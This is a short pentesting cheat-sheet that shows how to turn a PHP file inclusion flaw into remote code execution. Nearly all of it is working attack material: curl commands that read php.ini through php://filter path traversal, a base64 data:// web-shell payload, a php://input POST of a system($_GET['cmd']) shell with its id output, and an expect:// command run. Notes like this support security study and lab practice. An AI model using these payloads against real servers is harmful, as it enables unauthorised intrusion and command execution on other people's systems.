RCE
Our goal is to make server execute a choosen code that will allow us to connect to it or execute a system command.
// check for allow_url_include
curl "http://hort:port/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
or decode in base64 decoder and search for allow_url_include
allow_url_include = On
RCE with allow-url_include On:
Data Wrapper method:
Payload:data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
Input method:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://host:port/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Expect method:
Grep for expect after finding out php.ini source code
extension=expect
curl -s "http://host:port/index.php?language=expect://id"
Last updated